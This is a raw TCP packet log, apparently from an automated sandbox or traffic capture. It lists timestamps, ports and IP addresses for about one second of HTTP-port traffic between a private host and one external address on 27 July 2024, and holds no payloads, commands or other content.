Jul 27, 2024 12:01:16.753675938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.753695011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.753740072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.753761053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.753806114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.753825903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.753870964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.753889084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.753931999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.753952026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.754014015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.754030943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.754077911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.754800081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.754848003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.754867077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.754897118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.754944086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.754995108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.755013943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.755059958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.755105972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.755139112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.755193949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.755207062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.755239964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.755281925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.755327940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.755347013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.755389929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.755409956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.755461931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.755487919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.755533934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.755552053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.755595922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.755616903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.755669117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.755696058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.755739927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.755759954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.755814075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.755840063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.755884886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.755904913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.755949974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.755970001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.756026030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.756053925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.756098986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.756117105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.756170988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.756184101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.756217003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.756244898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.756289005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.756308079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.756354094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.756371021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.756417036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.756434917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.756479025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.756536961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.756587029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.756602049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.756647110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.756705046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.790949106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.790999889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.791047096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.791100979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.791127920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.791176081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.791239023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.791270971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.791270971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.791270971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.791296005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.791321993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.791368008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.791390896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.791441917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.791467905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.791513920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.791559935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.791578054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.791625023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.791640997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.791687012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.791707039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.791750908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.791769981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.791815042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.791832924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.791878939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.791894913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.791939020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.791959047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.792002916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.792022943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.792067051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.792085886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.792133093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.792151928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.792196989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.792215109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.792260885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.792279959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.792327881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.792345047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.792391062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.792407036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.792450905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.792470932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.792514086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.792567015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.792613029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.792629957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.792676926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.792694092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.792737007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.792756081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.792809963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.792823076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.792857885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.792882919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.792927980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.792947054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.792974949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.793004990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.793050051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.793070078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.793112040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.793133974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.793175936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.793196917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.793240070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.793258905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.793303013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.793323040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.793370962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.793386936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.793430090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.793450117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.793493032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.793513060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.793555975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.843017101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.843065023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.843111992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.843157053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.843203068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.843221903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.843221903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.843245983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.843264103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.843292952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.843339920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.843401909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.844055891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.844120979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.844341993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.844387054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.844404936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.844429016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.844924927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.844986916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.845053911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.845113993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.845217943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.845271111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.845284939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.845324039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.845702887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.845748901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.845772982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.845796108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.845824957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.845876932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.845902920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.845948935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.845971107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.846002102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.846048117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.846091986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.846112013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.846144915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.846168041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.846220016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.846246004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.846299887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.846313000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.846349955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.846390009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.846442938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.846456051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.846494913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.846517086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.846569061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.846595049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.846646070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.846657991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.846694946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.846718073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.846761942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.846781969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.846826077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.846858025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.846872091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.846895933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.846944094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.846983910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.846998930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.847023964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.847070932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.847115993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.847131968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.847148895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.847193956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.847245932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.847259045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.847296000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.847321033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.847373962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.847387075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.847420931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.847465038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.847517014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.847531080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.847567081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.847589970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.847630978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.847650051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.847683907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.847724915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.847770929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.847789049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.847820044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.847847939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.847902060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.847927094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.847971916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.847989082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.848040104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.848057985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.848103046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.848144054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.848166943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.848190069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.848217964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.848239899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.848284960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.848305941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.848336935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.848366022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.848417044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.848429918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.848473072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.848515987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.848515987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.848577023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.848623991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.848675966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.848689079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.848726988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.848751068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.848803997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.848815918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.848846912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.848875999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.848921061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.848939896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.848968029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.848998070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.849046946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.849059105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.849097013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.849137068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.849196911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.883667946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.887128115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.001873016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.008696079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.186203003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.186279058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.186297894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.186326981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.186379910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.186424971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.186445951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.186494112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.186511993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.186553955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.186573982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.186616898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.186638117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.186682940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.186703920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.186748028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.186786890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.186831951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.186852932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.186903954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.186930895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.186975002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.186995983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.187033892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.187061071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.187105894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.187124968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.187171936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.187216043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.187236071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.187278986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.187309980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.187354088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.187375069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.187419891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.187438965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.187482119 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.187501907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.187546015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.187563896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.187607050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.187625885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.187670946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.187690020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.187742949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.187756062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.187787056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.187815905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:17.187864065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:17.187880039 CEST	80	49704	85.28.47.31	192.168.2.5
